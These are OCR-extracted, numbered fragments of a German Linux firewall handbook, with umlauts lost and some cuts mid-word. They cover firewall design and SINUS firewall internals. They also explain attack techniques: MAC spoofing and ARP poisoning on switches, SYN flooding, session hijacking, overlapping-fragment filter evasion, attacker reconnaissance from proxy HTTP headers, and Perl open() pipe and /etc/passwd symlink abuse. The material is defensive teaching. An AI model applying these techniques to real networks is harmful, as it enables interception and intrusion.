391. kollieren von Pa worten f r Netzwerkserver ist dann nicht mehr m glich Trickreicher ist dann das sogenannte mac spoofing Siehe oben Hierbei erfolgt ein DoS Angriff auf das Target und eine bernahme der MAC Adresse durch den benachbarten Server Der Switch beh lt normalerweise 3 Informationen ber einen Server dessen IP Nummer dessen MAC Nummer und den Port an dem das Netzwerkkabel eingesteckt ist Nach dem Angriff bemerkt der Switch nur da IP Nummer und MAC Adresse auf einen anderen Port gewechselt haben von nun an kann man flei ig Pa worte mitprotokollieren mit denen der Angreifer sp ter in den Zielserver hineinschauen kann Die bei Povidern eingesetzte ping berwachung die dem Systemadministrator meldet ob ein Server evtl abgest rzt ist kann einen solchen Angriff nicht bemerken Auch Kontrollen auf MAC Ebene k nnen diese Art von Angriff nicht zuverl ssig entdecken Seri se Provider setzen Switching Router ein auch wenn dies erheblich mehr Aufwand kostet als ein Switch Tip LINUX Firewall Router mit 4xNetzwerkkarten pro PCI Slot 16 Port Firewall Router Ohne diesen Aufwand sollte ein seri ser Anbieter von Einkaufs Shop s mit Zertifikat und Verschl sselung niemals ans Netz gehen DoS ARP Angriffe Themen e Statische ARP Tabellen e Umlenkung des Datenverkehrs von Logservern e Fluten von ARP Caches e Neighbour Discovery statt ARPD Es ist m glich da eine Maschine ARP Antworten falscht um so den Dat
392. kt in die H nde spielt Selbstverst ndlich mu dann dieser Loginversuch scheitern in der Praxis vermutet der User einen Tippfehler Fehlgeschlagene Login Versuche werden nicht ernst genommen Oft hat ein Angreifer nach dem ersten Angriff schon das korrekte Pa wort erhalten und kann den Angriff stoppen die Spuren beseitigen und erst einmal verschwinden Sp tere Nachforschungen in Logfiles werden keine Zusammenh nge aufdecken k nnen Der Systemadministrator sollte immer und unbedingt nach einem fehlgeschlagenen Loginversuch informiert und das Pa wort schnellstens ge ndert werden Viele Internet Provider setzen Switches zum Schutz vor Sniffern ein kennen aber die Tricks der Angreifer und die hierzu notwendigen Voraussetzungen meist nicht Viele Provider haben mit DoS Angriffen auf Switches zu k mpfen diese werden h ufig als Fehlfunktionen der Hardware gedeutet Problematisch wird es wenn ein Internet Verkehrsknotenpunkt betroffen ist wie z B DECIX oder ECRC Ein Angreifer der Zugang zu einem Host besitzt der direkt an dem Switch angeschlossen ist kann mit MAC Spoofing und ARP Impfungen den Datenverkehr zwischen Providern an diesem Knotenpunkt v llig durcheinanderw rfeln Die enorm hohen Bandbreiten erlauben es kaum IP MAC Spoofing zu entdecken Hier m ssen besondere Ma nahmen ergiffen werden Umgehung von Switching Routern Themen e Broadcast e Multicast e Diskless workstations Switches und Switching Router Lev
393. ktion falsche Informationen zur ckliefert sie kann aber in einigen F llen Angreifer bis in Rechenzentren oder PC Netze zur ckverfolgen Gleichzeitig kann sie den DNS Namen von verd chtigen Hosts berpr fen Ist der double reverse lookup nicht eindeutig positiv bereinstimmung von DNS und IP Nummer so wird ein besonderer Alarm ausgel st oder der Server f r jegliche Zugriffe von diesem Host gesperrt Insbesondere dient diese Funktion bei Internetserver als Schutz vor gespooften Angriffen 14 14 Interner Aufbau der Firewall Die Firewall besteht aus einem Firewall D mon einem Kernel Filter Modul einem Kontrollprogramm und der Benutzeroberfl che in JAVA Das Filtermodul bernimmt die gesamten Filteraufgaben Der Firewall D mon verarbeitet die Filter Meldungen z B Paket gesperrt erzeugt die dynamischen Filterregeln Log Eintrage und Alarmmeldungen Das Filter Modul erfordert kleine nderungen im Kernel um ein sogenanntes device zu erzeugen welches wie unter UNIX blich in dev firewall erscheint Die Kommunikation kann dann relativ einfach ber das ffnen des firewall device geschehen Gegen ber ganzheitlichen L sungen bei denen das Filter Modul und das Kontrollprogramm in einem Programm zusammengefa t wurden hat diese L sung den Vorteil da bei einer Fehlfunktion des Kontrollprogramms die forwarding Funktionen des Kernels deaktiviert sind d h die Firewall unverz glich alle Verbindungen sperrt failsaf
394. ktiv einfach ein ACK Paket mit falscher Pr fsumme damit es verworfen wird an alle Clients um die bestehenden Verbindungen nicht terminieren zu lassen timeout refresh und ein SYN ACK sowohl an die echten als auch die vom Angreifer gespooften Adressen die nat rlich ins Leere laufen Nach einiger Zeit beendet die Firewall dann alle Verbindungen die nicht mit einem SYN ACK quittiert wurden und kann so den SYN RCVD Buffer leeren Es bleiben nur noch diejenigen Verbindungen brig die zuvor bestanden haben und die ernsthaft neu initiiert wurden Aber auch diese Technik birgt Gefahren Ein Angreifer k nnte so die Firewall mit schnellen gespooften SYN Paketen ganz aus der N he dazu veranlassen dem Host der die gespoofte IP Nummer besitzt eine Flut von SYN ACK Paketen zu schicken Dies k nnte durchaus zur Leitungs berlastung bei einigen Providern f hren insbesondere bei denjenigen deren Anbindung etwas langsamer ist In diesem Falle w re die Firewall selber zwar gegen SYN flooding gesichert w rde aber zu einem DoS denial of service bei einem v llig Unbeteiligten f hren der zuf llig die IP Adresse des vom Angreifer benutzten gespooften Pakets besitzt Die SINUS Firewall kann zuverl ssig diesen Mi brauch verhindern indem sie f r jede Verbindung einen eigenen Counter setzt der bei einer maximalen Anzahl von SYN Paketen einer bestimmten auch gespooften IP Nummer das Aussenden des SYN ACK stoppt F r den Schutz ihrer Sta
395. l Das letzte Schl sselwort all beinhaltet alle vorhergehenden Eine weitere M glichkeit ist direkt die Protokollnummer in dem IP Header anzugeben z B die 9 f r IGP Bei der Verwendung von icmp oder igmp kann die Regel auf einige Nachrichtentypen begrenzt werden RIP ist hier ein Spezialfall des UDP Protokolls wobei nur UDP Pakete ber cksichtigt werden die auf Port 520 eintreffen Ein RIP Paket erf llt eine Regel wenn alle angek ndigten Ziele auch zutreffend sind Das folgende Beispiel beschreibt eine solche Regel accept rip outside trifft auf eine Regel zu from 194 40 243 5 n chstes Gateway im Netz to 194 40 243 4 die eigene Adresse Das Paket erf llt die Regel wenn die Quelladresse eine der Adressen ist die nach dem Schl sselwort from und der Zieladresse eine der Adressen eine der Adressen nach dem Schl sselwort to ist Anstelle einer Liste von IP Nummern kann auch das Schl sselwort inside verwendet werden welches der Ersatz f r alle Adressen die unter internalnets angegeben worden sind Die Verwendung des Schl sselwortes outside bezeichnet alle anderen die nicht unter internalnets angegeben worden sind Das k nnte der Rest des Internets z B sein Erstellt von Doc Gonzo http kickme to plugins F r alle TCP und UDP Protokolle kann zus tzlich noch ein Port oder ein Bereich von Ports angegeben werden Hierf r kann auch der Name des Dienstes angegeben werden z B telnet Hierf r greift die Fi
396. l um mit dem kernel filter Modul zu kommunizieren Der Firewall D mon selber greift nicht direkt auf Funktionen des Kernels zu Bei seiner Aktivierung ffnet dieser die Firewall Schnittstelle im read write Modus wie ein File und aktiviert dann den message Buffer in dem Modul Der Packetfilter Funktionszeiger sf_fw_chk der bis hierhin auf die dummy pass packets Funktion zeigt wird nun auf die echte Filterfunktion des Filtermoduls umgebogen Die Filterfunktion f ngt nun an die Pakete zu analysieren Immer dann wenn ein Paket den Konfigurationseinstallungen entspricht benachrichtigt es den Firewall D mon erzeugt eine Nachricht und speichert diese im Message buffer Nun kann auch der Monitor f r den User aktiviert werden um die Nachricht anzuzeigen Der Firewall D mon liest nun den ganzen Message buffer Die buffer struktur sf_proc enth lt nun einen Z hler num_entries der die Zahlder g ltigen Eintr ge enth lt Wenn keine Nachrichten im Buffer enthalten sind dann wird der Firewall D mon vor bergehend deaktiviert damit er nicht mehr vom Firewall Device liest Das spart CPU Zeit Sobald aber neue Nachrichten eintreffen wird der Firewall D mon von der Filterfunktion im Kernel reaktiviert Wenn der Message buffer voll ist das passiert immer dann wenn die Auslesefunktion deaktivert oder berlastet ist dann benachrichtigt die Filterfunktion den Kernel woraufhin dieser dann Pakete verwirft und den Counter f r verlorene Pakete akt
397. l 2 2 zu gro en Teilen enthalten Bestimmung welche Dienste unbedingt notwendig sind Bevor man sich an die Arbeit begibt sollte man sich gut berlegen welche Daten es zu sch tzen gilt und welche Dienste D monen dementsprechend notwendig sind Alle anderen Dienste sollten unbedingt auf weitere Server ausgelagert werden Entfernen aller nicht ben tigten Dienste Notwendige Aufgabe ist die Entfernung dieser Programme aus dem System Netzwerk Es mu sichergestellt sein da ein Angreifer diese keinesfalls reaktivieren kann durch buffer overflows z B Es mu mit Bedienungs oder Konfigurationsfehler seitens des Systemadministrator s oder Setup Programmes stets gerechnet werden Das beinhaltet die physikalische Entfernung aller nicht ben tigten Dienstprogramme aus dem System Anschlie end m ssen s mtliche nachladbaren Treiber Kernelmodule oder D monen gel scht werden Programme die D monen eigenst ndig starten k nnen inetd sind so zu konfigurieren da diese ohne Fehlermeldungen arbeiten Dar ber hinaus ist es sinnvoll nicht ben tigte Funktionen aus dem Kernel zu entfernen Es schr nkt zwar die Auswahl des Betriebssystems ein ist aber unumg nglich Erstellt von Doc Gonzo http kickme to plugins Abschaltung aller ben tigten Dienste Um Interaktionen vorzubeugen werden erst alle ben tigten Dienste vor bergehend deaktiviert Der Grund liegt in den m glichen Interaktionen zwischen den Diensten die zu Fehle
398. l genauer ansehen Andernfalls d rften die berraschungen gro sein Die Zahl der offenen Ports reduziert sich gegen ber derjenigen bei Firewall Routern dramatisch da nur noch diejenigen Ports ge ffnet werden die auch wirklich gebraucht werden Es m ssen also nicht mehr pauschal alle Ports gt 1024 freigeschaltet werden Es verbleiben aber noch einige Risiken da es externen Hosts immer noch gestattet wird auf interne Server oder Clients zuzugreifen Es werden zwar laut Handbuch PROXY Dienste hierf r angeboten jedoch beschr nkt sich tats chlich die Funktion nur auf die Freischaltung der ben tigten Ports Es findet keinerlei inhaltliche berpr fung statt SPF s mangelt es oft an der wichtigen User Authentifizierung Diese verhindert da z B User ohne Pa wort Anmeldung auf der Firewall eine Verbindung in das Internet ffnen k nnen Dies ist ein wirksamer Schutz gegen trojanische Pferde die als Hintergrundprozesse vollautomatisch Verbindungen zu Servern im Internet aufbauen Proxy Firewalls St rken Ausf hrliche Kenntnis ber Protokolle und Dienste Umfangreiche Filterm glichkeiten Schutz vor buffer overflows m glich Spezielle Proxies lieferbar SQL F r unbekannte Protokolle generische Proxy Dienste verf gbar Keine offenen Ports Ausf hrliche LOG Informationen Ausf hrliche Zustandsinformationen ber alle Verbindungen Vollst ndiger Schutz vor TCP IP Angriffen Einfache Wartung und Installation Schutz vor V
399. l nur eine untergeordnete Rolle Man sollte also an der Firewall sparen nicht aber an der Ausbildung der Administratoren Wer Wert auf Bedienungskomfort der Firewall legt der ist auch mit dem JAVA Interface der SINUS Firewall gut bedient 34 Werkzeuge f r Auditing Im Internet finden sich zahlreiche professionelle Werkzeuge Auf der Homepage von Bernd Eckenfels http sites inka de sites lina freefire l auch FreeFire genannt finden sich zahlreiche professionelle Werkzeuge die allesamt frei verf gbar sind Die Auswahl dort ist wirklich sehr gro Ein Werkzeug welches dort fehlt ist Ballista Mit diesem kann man gezielt TCP IP Stacks auf m gliche DoS Angriffe kontrollieren Dieselben Tests kann man auch mit der Bibliothek net rawip f r PERL unter FreeBSD SOLARIS und LINUX durchf hren Man findet diese auf der Site http www freshmeat net Ein Geheimtip ist ISIC zusammen mit der Library libnet von Mike Frantzen http expert cc purdue edu frantzen von der PURDUE Universit t wo viele TCP IP Stacks herstammen Als Security Scanner hat sich der ISS Security Scanner von ISS NET bew hrt Dieser ist dort auch als LINUX Version im Quellcode erh ltlich Von SATAN SAINT o veralteten und nur auf UNIX spezialisierten Werkzeugen sollte man dringendst absehen da diese nur wenige UNIX Spezifische Sicherheitsprobleme erkennen k nnen Beim Scan von Firewalls sollte man auch stets beachten da viele Firewalls gegen Scanner counter intellige
400. l vom Server zum Client ACK gesetzt au er im ersten Paket Das Problem bei allen R Kommandos ist die Asymetrie der eingehenden und ausgehenden Verbindungen So kann es passieren da auf eine ausgehende Verbindung zwei Datenstr me auf privilegierten und unprivilegierten Ports von der Firewall empfangen und weitergeleitet werden m ssen Sofern die Firewall eine Programmiersprache besitzt ist dieser Mechanismus auch ohne spezielle Proxies zu implementieren REXEC Remote Start von Programmen REXEC ist ein Dienst auf Basis von TCP Der Server benutzt die Portnummer 512 der Client benutzt eine beliebige Portnummer unter 1023 Regel Richtung Protokoll Quellport Zielport Erg nzungen l ein TCP lt 1023 512 SYN ACK 2 aus TCP 512 lt 1023 ACK 3 aus TCP lt 1023 512 SYN ACK 4 ein TCP 512 lt 1023 ACK Anmerkungen zu den Regeln 1 Eingehendes REXEC Client an Server ACK gesetzt au er im ersten Paket 2 Eingehendes REXEC Server an Client ACK gesetzt 3 Ausgehendes REXEC Client an Server ACK gesetzt au er im ersten Paket 4 Ausgehendes REXEC Server an Client ACK gesetzt Im Gegensatz zu obigen R Kommandos ist der Dienst rexec durchaus mit einer Firewall zu sichern Angewendet wird dieser z B zum Start von Programmen auf remote Servern CORBA und DCOM machen hiervon Gebrauch 18 5 NNTP Dienste Newsgroups NNTP Usenet Newsgroups NNTP ist ein Dienst auf Basis von TCP NNTP Server benutzen Port 119 NNTP Clients sowie
401. landschaft eines Unternehmens durchstreift hat und wof r er sich dabei interessierte Der Zeitversatz ist allerdings immer ein Problem falls alle Server und Clients nicht zeitsynchron laufen Daher wird ein Angreifer auch stets den Timeserver eines Unternehmens manipulieren oder die Uhrzeit der Server verstellen In vielen F llen werden aber Logserver einfach angehalten damit wichtige Informationen ber die Art des Einbruchs und die Wege nicht in den Logfiles erscheinen 23 11 Wie schnell ein Angriff auf einen Server erfolgt Ein Angreifer macht sich immer die Zeitdiskrepanz zwischen der Entdeckung eines Sicherheitsproblems und dem Aufspielen der Patches im Unternehmen zunutze Kann er durch eine saubere Vorbereitung des Angriffs innerhalb weniger Sekunden in das System eindringen was fast immer der Fall ist so ist es danach nur noch eine Frage von wenigen Minuten bis sich dieser durch die Systemkonfiguration durchgefunden hat und in den Logfiles seine Spuren verwischen kann H ufig ist es auch nur eine Frage von Sekunden entsprechende Werkzeuge hochzuladen und zu starten je nach Geschwindigkeit der Anbindung In gro en Unternehmen ist der Zeitraum zwischen der Benachrichtigung des Systemadministrators und dem Einspielen von Sicherheitspatches auf den zahlreichen Arbeitsstationen viel zu gro oder sogar unm glich NT da in vielen F llen mit den Servicepacks auch System nderungen und Erg nzungen eingespielt werden m ssen die neu
402. lauben Verbindungen zu HTTP Servern auf beliebigen Maschinen im Internet durch den HTTP Proxy Server auf dem Service Host Desweiteren werden allen TCP Clients auf dem Service Host die Portnummern gt 1023 benutzen Verbindungen zu allen Servern und allen Ports auf beliebigen Rechnern im Internet gestattet Dadurch wird dem HTTP Proxy Server erm glicht zu HTTP Servern die nicht die Standard Portnummer 80 benutzen Verbindungen herzustellen Trotz der Gro z gigkeit dieser Regeln filtern sie jedoch um nur ausgehende Verbindungen zuzulassen bez glich der ACK Bits Die Regeln FTP3 und Erstellt von Doc Gonzo http kickme to plugins FTP4 berlappen mit diesen auch durch die Entfernung eines Paares ist es FTP oder HTTP Clients immer noch m glich auf die meisten Server zuzugreifen e DNS1 DNS Anfragen ber UDP und Antworten der internen DNS Server auf dem Service Host zu DNS Servern im Internet werden hierdurch erlaubt e DNS2 DNS Anfragen ber UDP von DNS Servern im Internet zum DNS Server auf dem Service Host sowie Antworten auf diese werden hierdurch erlaubt e DNS3 und DNS4 Um Anfragen an den DNS Server auf dem Service Host zu stellen und dessen Antworten zu empfangen gestatten diese Regeln externen DNS Clients UDP Verbindungen e DNS5 und DNS6 DNS Anfragen ber TCP vom Service Host zu DNS Servern im Internet werden durch diese Regeln zugelassen ebenso alle Antworten auf solche Fragen Desweiteren werden Zonen Transfers m
403. le MSIE 4 01 Windows 98 HiT ACCEPT HTTP_ACCEPT_ENCODING gzip deflate HTTP_X_FORWARDED_FOR 212 53 238 130 HTTP_VIA 1 0 cache 8080 Squid 2 0 PATCH2 Erstellt von Doc Gonzo http kickme to plugins Was sagt dem Angreifer das Er wei bei welchem Provider die Firma einen Internet Zugang besitzt wer gerade zugesagt hat da er mit Windows 98 in der Standardversion und dem Internet Explorer kein Fehler arbeitet da er mit einem LINUX Router als PROXY SQUID an das Internet angeschlossen ist WINZIP so installiert hat da ZIP Files automatisch ausgepackt werden seine IP Adresse hinter dem Router 212 53 238 130 ist und keinerlei HTTP Filter o eingesetzt werden Er wei weiterhin da jedes Programm ber die IP Nummer 212 53 238 2 und Port 8080 als Gateway Daten aus dem Intranet an einen beliebigen Server im Internet senden kann sowohl mit HTTP und FTP Protokoll Ein Netzwerk Scanner wird zeigen da alle Ports au er Port 25 sendmail auf dem Router geschlossen worden sind Weiterhin ist mit Sicherheit eine LINUX Version mit Kernel lt 2 0 34 und allen bekannten Sicherheitl cken aktiv diese sollen aber den Angreifer noch nicht interessieren Weiterhin ist die Firma ber einen Provider mit reserviertem Subnetz an das Internet angebunden Was braucht ein Angreifer also um die Festplatte dieses Users zu durchforsten Ersteinmal VC Bibliotheken f r den PROXY Mechanismus und den Quellcode von Tetris
404. le mit hinein zu schleusen Wenn er aufgrund dessen da er ja alle Pakete die bisher zwischen Client und Server ausgetauscht wurden zudem noch in der Lage ist die Pr fsummen korrekt vorher zu berechnen und schneller als der echte Client zu senden dann hat der die Verbindung bernommen Dieser Trick wird noch sehr h ufig angewendet und ist unter session hijacking bekannt Allerdings sind hierzu noch einige Voraussetzungen notwendig Erstens mu er schneller auf den Server zugreifen k nnen als der echte Client zweitens mu er gleichzeitig gespoofte Pakete erzeugen und s mtliche zwischen Client und Server ausgetauschten Pakete mitlauschen k nnen und zudem einen schnellen Rechner besitzen Programme die diese Berechnungen durchf hren gibt es berall im Internet zu finden Der Aufenthaltsort des Angreifers mu sich also entweder sehr nahe am Client oder am Server oder irgendwo zwischen diesen beiden Clients befinden Hierzu m te er sich direkt in eine der Verbindungsleitungen auf dem Weg zwischen Client und Server einklinken Ohne diese Voraussetzungen w rde ein solcher Angriff kaum sofort gelingen und die Firewall w rde einen solchen Angriff schnell bemerken k nnen e TCP Pr fsummen Die berpr fung der TCP Pr fsummen bei einigen Firewalls im Falle dessen da ein SYN RST oder FIN Segment eintrifft wird vom TCP IP Stack nicht mehr durchgef hrt Ein Angreifer kann also wenn er wei da die Firewall diese n
405. leine aktiv werden Wir der Angriff entdeckt und das Sicherheitsproblem beseitigt so wird wohl kaum der Systemadministrator alle Server im Intranet neu installieren Finden w rde er ein trojanisches Pferd wohl nicht Betrachten wir nun Beispiel 2 Diese leidet genauso wie Beispiel 1 unter allen dort schon erw hnten Problemen Es gibt einige Regeln die man unter keinen Umst nden mi achten sollte Zu einer Firewall geh ren immer 3 Komponenten einem u eren Router einem inneren Router und der Firewall selber Soll ein Zugriff auf einen Server im Intranet aus dem Internet heraus m glich sein so ist eine DMZ DeMillitarisierte Zone aufzubauen die selber von Firewalls umgeben ist In dieser sind die Server die von au en erreichbar sein sollen zu installieren Der Grund besteht darin da man stets damit rechnen mu da ein von au en erreichbarer Server mit buffer overflows angreifbar ist In diesem Falle mu unter allen Umst nden noch einen Firewall als Sicherung gegen Zugriffe aus der DMZ auf das interne Netzwerk Der korrekte Aufbau w re also folgender INTERNET N Router Transfernetz SERVER 1 SERVER 2 WWW FTP DNS Mail News WWW PROXY Firewall 1 lt Firewall 2 gt lokales Netz Beispiel 3 F r den Fall da Server 1 erfolgreich angegriffen wird mu Firewall 2 Angriffen standhalten k nnen Firewall 1 und der Router bieten dann im Prinzip keinen S
406. lgen zwei zus tzliche Parameter die beide in hexadezimaler Schreibweise angegeben sind Sie erlauben es mit den TOS Bits zu spielen Die erste Maske wird mit den TOS Bits in dem Paket ber AND verkn pft w hrend die zweite Maske mit den TOS Bits ber XOR verkn pft sind TOS Name Value Typical Uses Minimum Delay 0x01 0x10 ftp telnet Maximum Throughput 0x01 0x08 ftp data Maximum Reliability 0x01 0x04 snmp Minimum Cost 0x01 0x02 nntp Andi Kleen hat deren Einsatz so beschrieben Es k nnte sinnvoll sein einen Parameter zu dem TX Queue Langenparameter in ifconfig hinzuzuf gen und diesen um die TOS Bits Erstellt von Doc Gonzo http kickme to plugins noch zu erweitern Die Standardm ige L nge der Queue kann f r Ethernet Karten noch getuned werden f r Modems ist dieser viel zu lang und das macht ihn f r den 3 Wege Scheduler unbrauchbar Dessen Queues auf TOS basieren Eine gute Idee ist es diesen auf Werte zwischen 4 und 10 auf einem Modem oder einer ISDN Karte zu setzen Bei Kanal B ndelung ist eine gr ere Queue n tig In den Kerneln 2 1 und 2 2 ist es ein ifconfig Flag was gesetzt werden mu mit den aktuellen nettools in Versionen 2 0 erfordert es einen Kernel Patch um die Werte zu ndern Soweit die Hinweise auf die TOS Manipulationen f r Modem und ISDN Verbindungen Hierzu mu nur die Syntax in dem etc ppp ip ip Skript in ifconfig 1 txqueuelen ver ndert werden Die einzusetzende Zahl h ngt g
407. lgt dann automatisch Genaue Details befinden sich im Quellcode der finger Funktion sf_spy c 14 27 Firewall Konfiguration Die Firewall Konfiguration wird aus dem Konfigurationsfile etc firewall d firewall conf ausgelesen interpretiert und direkt in die Datenstrukturen des Firewall D mons eingelesen Das Regelwerk wird ber das Firewall Device dev firewall an den Filter bergeben Funktionen die Regeln hinzuf gen l schen oder modifizieren sind in der Datei sf_config h definiert Dieser Abschnitt beschreibt die Datenstrukturen im Firewall D mon Die Datentypen sind in sf_global h f r den Firewall D mon und den Filter gemeinsam definiert Definitionen allein f r den Firewall D mon liegen in sf_config h Filter Regeln Der Parser speichert die Regeln in umgekehrter Reihenfolge in einer linearen Liste soda dieser und der Kernel stets am Kopf der Liste Regeln hinzuf gen k nnen Die ist insbesondere Notwendig f r dynamische Firewallregeln Die Zeiger f r die Struktur der Variablen zeigt auf den Kopf der Liste Jede Regel enth lt einen Zeiger auf sich selber ptr in union rule_id Dieser Zeiger ist nur im Usermode definiert Der Filter betrachtet diese ID als eindeutige Kennzeichnung f r eine Regel Hat der Filter eine Regel an den Firewall D mon bergeben so kann der ber die ID stets schnell auf die Regel erneut zugreifen um dynamische Firewallregeln auszulesen zu ndern o Der Parser speichert die Kennzahl f
408. lich S u S E 5 3 oder 6 0 mit den Firewall und Masquerading Regeln installiert wurde Es mu ein Systemadministrator sein der sich hervorragend mit UNIX auskennt da er Squid 2 1 neu kompiliert und installiert hat Weiterhin kennt sich dieser gut im Routing aus da er die 192 168 x x Netzwerkadresse im Intranet verwendet welche per Definition nicht in das Internet geroutet wird er setzt Masquerading also NAT ein Im Gegensatz zu dem ersten Beispiel besitzt diese Firma keine Anbindung ber eine feste IP Nummer sondern benutzt einen preiswerten Account mit SYNC PPP d h das sich die IP Nummer von mal zu mal ndert Ein Scan des Class C Netzes zeigt da nur ca 30 IP Nummern in Frage kommen Falls der Angreifer also diesen LINUX Router wiederfinden m chte mu er st ndig diese 30 IP Nummern auf das Vorhandensein von Port 8080 scannen was sich evtl etwas Zeit kosten w rde oder dem Systemadminitrator eine E Mail schicken die ihn veranla t eine bestimmte Seite im Internet zu besuchen Hier wird er dann getrappt also ihm eine Falle gestellt Die sieht folgenderma en aus Es besucht jemand die WWW Seite Der WWW Server erzeugt einen Eintrag in das access_log File Dieses File wird mit tail f access_loglgrep 195 211 212 UNIX oder NT UNIX Toolkits st ndig abgefragt Tritt ein Event auf so wird automatisch ein ping 195 211 212 xxx mit der vom Event bergebenen IP Adresse ausgef hrt Das ist von jedem Anf nger zu b
409. lient fortzusetzen Fernwartung von einem Server sollte streng vermieden werden Als Filter sollte mindestens ein dynamischer Pakettilter zum Einsatz kommen normale Router reichen heutzutage keinesfalls mehr aus Die Firewall sollte dar ber hinaus mit der u eren Firewall verbunden werden Zwischen den Logfiles von innerer und u erer Firewall sollte stets ein Abgleich der Logeintr ge stattfinden Wir so ein Einbruch in einen Server in der DMZ bemerkt so sind beide Firewalls komplett zu sperren Es mu danach eine Untersuchung der Server erfolgen Regel Richtung Quell IP Ziel IP Protokoll Quellport Zielport ACK Aktion SPOOF ein intern bel bel bel bel bel verbieten TELI aus intern bel TCP gt 1023 23 bel zulassen TEL2 ein bel intern TCP 23 gt 1023 ja zulassen FTP aus intern bel TCP gt 1023 21 bel zulassen FTP2 ein bel intern TCP 21 gt 1023 ja zulassen FTP3 aus intern bel TCP gt 1023 gt 1023 bel zulassen FTP4 ein bel intern TCP gt 1023 gt 1023 ja zulassen FTP5 aus intern Bastion TCP gt 1023 21 bel zulassen FTP6 ein Bastion intern TCP 21 gt 1023 ja zulassen FTP7 ein Bastion intern TCP bel 6000 6003 bel verbieten FTP8 ein Bastion intern TCP gt 1023 gt 1023 bel zulassen FTP9 aus intern Bastion TCP gt 1023 gt 1023 ja zulassen SMTPI aus intern Bastion TCP gt 1023 25 bel zulassen SMTP2 ein Bastion Server TCP 25 gt 1023 ja zulassen SMTP3 ein Bastion Server TCP gt 1023 25 bel zulassen SMTP4 aus Server BastionT
410. ll e Performance Einbr che Ein einfacher aber wirkungsvoller Angriff der IP Fragmentierung ausnutzt ist der sogenannte overlapping fragment attack RFC 1858 Die derzeitige Internet Protokoll Spezifikation RFC 791 beschreibt einen Reassemblierungs Algorithmus der neue Fragmente produziert und dabei jeden berlappenden Teil der zuvor erhaltenen Fragmente berschreibt Wird ein solcher Algorithmus angewendet so kann ein Angreifer eine Folge von Paketen konstruieren in denen das erste Fragment mit einem Offset der Lange Null harmlose Daten beinhaltet und dadurch von einem Paketfilter weitergeleitet werden kann Ein beliebiges nachfolgendes Paket mit einem Offset der gr er als Null ist k nnte TCP Header Informationen z B destination port berlappen Diese w rden durch den Algorithmus modifiziert berschrieben Dieses zweite Paket wird von vielen Paketfiltern nicht gefiltert Gegenma nahme hierzu ist Paketfilter zu verwenden die ein Minimum an Fragment Offset f r Fragmente verlangen Nur wenige neuere TCP IP Stacks erkennen dieses Problem und korrigieren dieses ltere Router lassen sich mit diesem Trick einfach durchtunneln sie bieten keinen Schutz Besonders aber Firewalls die auf der Basis der Stateful Paket Filterung SPF arbeiten wie z B RAPTOR EAGLE und FIREWALL 1 lie en sich so durchtunneln Content Anbieter im Internet und ISP s die mit diesen Firewalls NT Server sch tzen wollten wurden so Ziel der u
411. lle Ports gt 1024 f r den Zugriff auf den SQL Server ge ffnet werden Dies mu aus diesem Grund geschehen da es ja nicht der SQL Server ist der die Verbindungen zum Client anfordert sondern es die Clients sind die die Ports gt 1024 anfordern Es bleibt also allein f r Firewalls die Aufgabe die IP Nummern der Clients zu selektieren also nur auf Cirquit Level den Zugriff auf den Datenbank Server einschr nken F r MySQL ab Version 3 20 gilt Port 3333 f r die lteren Versionen der Port 3306 Welches sind die Gefahren die einer Datenbank drohen Hier kann man mehrere aufz hlen Denial of Service durch zu zuviele Abfragen Sekunde Denial of Service durch zu komplexe Abfragen Denial of Service durch fehlerhafte Statements Denial of Service durch zu lange Ausgabe Ergebnisse Denial of Service durch Parameter mit Uberlange Denial of Service durch buffer overflow Einbruch in die Datenbank durch Ersniffen der PaBworte Uber das Netzwerk Einbruch durch Fehler in der Konfiguration des Authntifizierungsmechanismus Einbruch Uber den PDC BDC im Falle von Microsoft Netzwerken 10 Einbruch Uber andere unsichere Dienste 11 Einbruch durch Erraten der PaBworte dictionary attacks 12 Einbruch durch unsichere Clients 13 Einbruch durch unklare Zugriffsrechte 14 Einbruch durch Replikations Server von ACCESS 15 Einbruch durch trojanische Pferde ODBC ACCESS 16 Einbruch in den ODBC Treiber Microsoft Windows NT 17 Einbruch b
412. lle kann hier die M chtigkeit von open darstellen W hrend open OUT filename recht harmlos aussieht wird dies zum idealen Angriffspunkt wenn beispielsweise filename am Ende ein Pipeline Zeichen erhalten kann oder wichtige Systemdateien wie z B etc passwd bedroht werden k nnen Selbst wenn auf filename kein Einflu ausge bt werden kann kann das Anlegen tempor rer Dateien in ffentlichen Verzeichnissen z B tmp zur t dlichen Falle werden wenn dort der Angreifer zuvor einen symbolischen Verweis auf etc passwd f r den zu erwartenden Dateinamen hinterlie Nat rlich sind auch viele weitere Systemaufrufe gef hrlich wie z B mkdir chmod chown usw Perl selbst ist zwar immun gegen den Hauptangriffspunkt bei in C geschriebenen Programmen auf Basis von Puffer Uberlaufen jedoch sind m glicherweise in C geschriebene Programme oder hinzugeladene Bibliotheken bedroht Typische Fallen sind hier Umgebungsvariablen z B HOME die auf extrem lange Werte gesetzt werden und damit aufgerufene Shells zur Ausf hrung mit bergebenen Codes des Angreifers bringen k nnen diese Technik ist als stack smashing bekannt Weitere Kandidaten sind die Umgebungsvariablen USER oder LOGIN bei denen h ufig naive Annahmen ber deren maximale L nge gemacht wird Weitere Probleme kann es mit ansonsten berpr ften Kommandozeilenargumente geben die zu lang sind Auch Eingaben die ber eine Pipeline an ein fremdes Programm erfolgen k nnen ein
413. llen Zugriff auf die Inhalte der SQL Datenbank da sich kaum ein Systemadministrator Gedanken ber die internen Rechte am SQL Server macht 8 Einbruch in die Datenbank ber den PDC BDC im Falle von Microsoft Netzwerken Nachdem Microsoft etliche Service Packs herausgebracht hat die angeblich verschl sselte Pa worte einf hren mu man dann feststellen da sich die PDC BDC s untereinander mit dem Pa wort anonymous legitimieren Dazu benutzen diese noch das RPC Protokoll welches sich kaum ber Firewalls absichern l t Wer also Directory Services implementiert hat der mu sich dar ber im klaren sein da ein Pa wort gleich f r verschiedenste Dienste im Microsoft Netzwerk g ltig ist SQL Datenbank Fileserver Email Wer wei genau welches Pa wort nach der Installation welches Service Packs noch f r andere Dienste g ltig ist Ich selber habe versucht die Sicherheitsmechanismen von Windows NT zu verstehen und nach einigen offensichtlichen L gen von Microsoft aufgegeben 9 Einbruch in die Datenbank ber Erraten der Pa worte Stichwort dictionary attacks ist ein beliebtes Ziel zumal in vielen Firmen die Pa worte Erstellt von Doc Gonzo http kickme to plugins aus Sicherheitsgr nden ablaufen Es d rfte wohl jedem klar sein da wenn die User h ufiger aufgefordert werden das Pa wort zu ndern nach relativ kurzer Zeit die Pa worte recht einfach zu erraten sein werden 10 Einbruch in die Datenbank d
